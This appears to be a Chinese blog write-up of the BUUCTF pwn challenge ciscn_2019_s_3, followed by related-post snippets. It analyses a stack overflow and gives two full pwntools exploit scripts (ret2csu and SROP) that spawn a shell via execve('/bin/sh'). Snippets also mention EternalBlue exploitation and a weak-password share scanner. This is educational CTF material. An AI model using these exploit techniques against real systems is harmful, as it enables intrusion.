【pwn】ciscn_2019_s_3

BUUCTF pwn ciscn_2019_s_3(SROP) 0x01 文件分析   0x02 运行  有一个回显,并且还有多余的字符显示,接着看代码分析一下。   0x03 IDA源码  由后面的函数可以看出,这个程序使用的系统调用,并且vuln里面存在栈溢出。  在程序之中的gadgets存在着两个为rax赋值的gadget,15的系统号是rt_sigreturn,3b的系统调用是execve,利用这两个可以执行系统调用得到shell。  ex... 阅读详情

这题是全国大学生信息安全竞赛的一道线下半决赛题目,好像是华南赛区?
例行检查。
在这里插入图片描述分析程序。
vul函数
在这里插入图片描述
两个系统调用,一个是sys_read,一个是sys_write,往栈上写数据(0x400),从栈上读数据(0x30),存在栈溢出。
还有一个gadget函数。
在这里插入图片描述
有两个值得注意的地方。mov rax,0fh 以及mov rax 59。这两个gadget控制了rax的值,看看这两个是什么系统调用。
15 sys_rt_sigreturn
59 sys_execve

解法一
59号系统调用是execve那么就可以想办法控制寄存器的值调用execve("/bin/sh",0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init。
在这里插入图片描述
r13的值会给到rdx,让rbx=0,下面call的时候会变为call [r12],会去call r12指向位置的代码,我们可以调到后面的rop执行,所以需要知道栈的地址,我们获取/bin/sh字符串时也需要知道栈地址。这题刚好在write的时候0x28这个位置是栈上的值,于是通过计算可以得到栈上/bin/sh的地址,即rsp-0x10的值。

from pwn import *

io=process('pwn')
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580 
sys=0x00400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)

io.interactive()

解法2
15号系统调用sigreturn。这个系统调用是在终止信号恢复用户态环境时用的。那么我们在栈上伪造寄存器的值,那么恢复时就可将寄存器控制为我们想要的值。
具体可参考:Framing Signals—A Return to Portable Shellcode

from pwn import *

io=process('pwn')
context.binary='./pwn'
context.terminal = ['gnome-terminal','-x','sh','-c']

main=0x0004004ED
sigret=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys

pl1='a'*16+p64(sigret)+p64(sys)+str(frame)

'''
def debug(addr):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)
debug('0x400514')
'''

pl2='/bin/sh\x00'*2+p64(sigret)+p64(sys)+str(frame)
io.send(pl2)

io.interactive()    
[BUUCTF]PWN21——ciscn_2019_s_3 [BUUCTF]PWN21——ciscn_2019_s_3 附件 步骤 例行检查,64位,开启了NX保护 试运行的时候回显是一些乱码,直接用ida打开,从main函数开始看 main函数调用了vuln函数 __asm 关键字用于调用内联汇编程序,并且可在 C 或 C++ 语句合法时出现。 我们首先要了解一下64位系统的系统调用 传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器 调用号:sys_read 的调用号 为 0 ; 阅读详情

相关推荐

【BUUCTF - PWN】ciscn_2019_s_3

checksec一下,栈溢出 IDA打开看看,main函数内只有一个call vuln 注意到vuln函数末尾并没有使用leave指令,即直接把之前push的rbp当作return address 我们要ROP的话offset只需要0x10 程序里还给了一些gadget,注意到当rax=0x3b时syscall为execve,只需要让rdi="/bin/sh"、rsi=0、rdx=0即可ge...

古月浪子的博客 911

ciscn_2019_s_3

首先拿到程序先查看一下程序类型 是一个x86-64的ELF文件,查看一下保护,只开启了堆栈不可执行保护 用IDA分析一下该程序 main函数直接进入到vuln函数,这里利用了系统调用,64位的系统调用的传参方式为 首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器 vuln函数执行了read(0,buf,0x400),又执行了write(1,buf,0x30)。看一下buf的位置,发现距离rbp只有0x10大小,存在栈溢出 这里的栈

qq_45691294的博客 2383

ciscn_2019_s_3(高级 ROP-SROP)

摘要:SROP(Sigreturn Oriented Programming)是一种利用Unix系统中signal机制的攻击技术。通过伪造Signal Frame结构,攻击者可以控制寄存器值并执行系统调用。本文分析了32位和64位系统下sigcontext结构差异,介绍了利用write函数泄漏libc地址的方法,并给出了一个完整的SROP攻击示例。攻击者通过控制rax寄存器为15(sigreturn系统调用号)和59(execve系统调用号),结合伪造的Signal Frame结构,最终实现执行/bin/s

Welcome To My6n Blog 134

2019ciscn_s_3

ciscn_s_3的两种解法:SROP & ret2csu详解

Hyrink的博客 738

ciscn_2019_n_5&&ciscn_2019_ne_5&&ciscn_2019_s_3&&第十八届ciscn初赛anote PWN学习

ciscn_2019_n_5&&ciscn_2019_ne_5&&ciscn_2019_s_3&&第十八届ciscn初赛anote PWN学习

lplum_的博客 1235

PC微信逆向) 读取内存联系人链表

首先从一些网络上搜索到的信息可以得出联系人列表是保存在内存里的,并且是全局变量不会被释放,所以我们可以通过搜索某个联系人的信息来定位

Qwertyuiop2016的博客 2919

BUUCTF ciscn_2019_s_3

ret2csu,gdb查找stack,srop的利用

zwb2603096342的博客 1952

手动测试台架搭建,让你的车载测试更轻松

如果你也在经常进行车载测试,就知道有时候手头的设备并不能完全满足需求。 在我之前的测试中,发现了一些问题,但是却找不到根本原因。于是,我开始思考如何打造一个更为完美的手动测试台架,让测试变得更加轻松。 经过不断地实践和调试,我终于成功搭建出了一个能够满足自己需求的测试台架。现在,我想和大家分享这个搭建的经验,希望能够帮助到在车载测试领域工作的小伙伴们,让你们的测试更加准确、高效!

weixin_67553250的博客 1万+

ciscn_2019_s_3(系统调用综合)

打开函数只有read和write。发现gadget函数,这道题重要关键在于系统调用号。发现gadget rax赋值为59,调用execve,ida H键变10进制,调用execve需要$rax==59$rdi==“/bin/sh”$rsi==0$rdx==0syscall这时候就需要用到libc_csu辅助,ropper里面可以找到pop rdi,/bin/sh\x00我们可以直接通过read写入栈中,其他的利用gadget进行填充。 注意的是read后面没有leave不用填充。还有一点在执行csu_e

weixin_61283545的博客 1007

STM32G4实战:用CubeMX+Keil五分钟搞定FreeRTOS多任务LED控制(避坑指南)

本文详细介绍了如何在STM32G4系列芯片上使用CubeMX和Keil快速配置FreeRTOS实现多任务LED控制,包括环境准备、时钟配置、任务创建及常见问题解决方案。重点解决了时钟源冲突等高频问题,并提供了优化建议和进阶应用示例,帮助开发者高效完成嵌入式开发任务。

joy55的博客 223

从报错到优化:一次Gauss JDBC参数限制排查实录(32767参数上限避坑指南)

本文详细记录了排查GaussDB JDBC驱动因绑定参数数量超过32767上限而抛出`PSQLException`(报错信息为`Tried to send an out-of-range integer as a 2-byte value`)的全过程。文章深入分析了该限制的底层协议原理,并提供了应用层分批查询、使用临时表以及优化业务逻辑等多种解决方案,旨在帮助开发者规避此参数上限陷阱,构建更稳健的数据访问层。

rgv23456789的博客 218

[BUUCTF]ciscn_2019_s_3详解(含思考过程、知识点讲解)

[BUUCTF]jarvisoj_level3_x64详解(含思考过程、知识点讲解)

2301_76794844的博客 1101

MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

msf永恒之蓝漏洞复现过程以及修复建议

记录学习 8512

[BUUCTF-pwn]——ciscn_2019_s_3

[BUUCTF-pwn]——ciscn_2019_s_3 题目地址:https://buuoj.cn/challenges#ciscn_2019_s_3 peak 小知识 写这道题之前, 大家首先要了解, 想要获得一个shell, 除了system("/bin/sh") 以外, 还有一种更好的方法, 就是系统调用中的 execve("/bin/sh", NULL, NULL)获得shell。我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用, 其中32位程序系统调用号用 eax 储存

Y_peak的博客 523

Tessy单元测试软件安装与破解避坑指南(附个人使用路径设置详解)

本文详细介绍了Tessy单元测试软件的安装与配置全流程,包括系统需求、服务器连接设置、环境变量配置等关键步骤,帮助开发者避开常见陷阱。特别提供了个人使用路径设置详解,确保Tessy在嵌入式开发环境中高效运行,适用于汽车电子、工业控制等领域。

weixin_33709364的博客 344

AI重塑运营商CRM:从传统办理到智能推荐的实战经验

本文探讨了AI技术如何重塑运营商CRM系统,从传统办理模式升级为智能推荐平台。文章首先分析了传统CRM系统在产品推荐效率、客户信息录入、业务流程和个性化服务等方面的痛点,提出AI赋能的解决方案。技术架构采用分层设计,包含智能推荐引擎、知识图谱系统和大模型集成三大核心模块。实战案例详细介绍了基于深度学习的智能推荐系统实现,包括用户行为特征提取、产品特征建模、推荐模型训练和实时推荐服务等关键组件代码实现,展示了AI如何提升运营商CRM系统的智能化水平和服务效率。

技术传感器的博客 1049

[PWN] BUUCTF ciscn_2019_s_3

记Ciscn_2019_s_3的调试过程步骤payload参考wp 步骤 按照惯例先checksec 用64位ida打开发现main中只要一个关键函数vuln,以及发现有gadgets函数 记录vuln地址:0x4004ED 分析vuln发现进行了系统调用,一个是sys_read,一个是sys_write 调用号:sys_read 的调用号 为 0 ;sys_write 的调用号 为 1; 记录syscall地址:0x400501或0x400517 图中分别给read的三个参数赋值0,&buf,

空城惜梦的博客 702

SQL2000在Win10上安装完整指南:兼容模式、SP4补丁与远程连接配置

数据库兼容性是老系统迁移与运维中绕不开的难题。当历史遗留的SQL Server 2000遭遇全新的Windows 10环境,安装程序常因系统版本检测失败而拒绝运行,这背后是旧版安装程序与NT内核版本间的识别错位。通过兼容模式模拟旧系统环境、以管理员身份运行安装程序,并处理注册表挂起与杀毒软件干扰,即可突破基础安装障碍。安装后的SP4补丁与TCP/IP端口配置,则是保障服务稳定与远程连接的关键。这一技术路径广泛适用于制造企业MES、进销存系统及医院HIS等仍依赖老旧数据库的场景,为IT运维与数据迁移测试提供了

weixin_29266679的博客 441

pwn ciscn_2019_s_3

pwn ciscn_2019_s_3(srop) checksec一下发现是64位文件 并只开了NX保护 打开IDA 进入main函数直接转到vuln(可以看到明显栈溢出var_10距离rpb 0x10) 发现有两个系统调用号,系统调用号的传参方式是先将调用号传入rax,然后参数依次从左至右传入rdi,rsi,rdx寄存器中,最后返回值存入rax 看到最后有点奇怪开始时pop rbp mov rbp,rsp 程序结束的时候直接是:retn(pop rip) 这里直接就跳出vuln函数了 所以r

beaster1的博客 303

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

BUUCTF pwn——ciscn_2019_s_3

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 227

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

BUUCTF Pwn ciscn_2019_s_3 WP

接着进行传参,rbx rbp设置为0 然后将r12设置为execv的地址(binsh地址+0x08 * 0x0A) ,再将后面几个寄存器设为0。第二个gadgets有个call 第一次执行会跳转到r12 且前面已经将rbx设置为0,所以。先传入binsh字符串及堆字符到rbp 然后调用csu里的pop一堆寄存器的gadgets。将rax设为15 和 59 这两个分别是signreturn 和 execve的系统调用。所以有两种做法:ret2csu 和 SROP。然后传参binsh 以ret到系统调用结束。

qq_33348179的博客 419

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

[PWN] ciscn_2019_s_3 ret2csu SROP

[PWN] ret2csu SROP

LDX的博客 290

BUU刷题-Pwn-ciscn_2019_s_3

由于本题的汇编代码不同,ret直接调用ebp作为返回地址,所以溢出点为0x10,而不是0x18。首先泄露出ebp的地址:leak_addr-0x108。syscall的地址:0x400517。vuln的地址:0x4004ED。找到给rax赋值:58的函数片段。本体利用栈溢出和系统调用号即可。

一个啥也不会的小菜鸡! 196

BUUCTF(pwn) ciscn_2019_s_3 [ 栈溢出SROP攻击]

64位,开启了NX保护 main函数调用了vuln

半岛铁盒的博客 529

CTF buuoj pwn-----第12题: ciscn_2019_s_3

函数分析 编写exp from pwn import * sh = remote('node4.buuoj.cn', 27939) context(arch='amd64',os='linux', log_level='debug') main_addr= 0x4004ED # 这里其实是vuln的地址, main地址会错:timeout: the monitored command dumped core payload_1 = b'/bin/sh\x00' + b'a'*0x8 + p.

bing_Max的博客 1834

【Pwn】ciscn_2019_s_3 wp 解析(bin/sh+0x50)

本题用到了ret2csu,也可通过srop,重点讲/bin/sh+0x50

Lcw_linyx的博客 1572
上一篇: 【pwn】 33c32016_babyfengshui
下一篇: 【re】 watevrCTF2019_Repyc
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值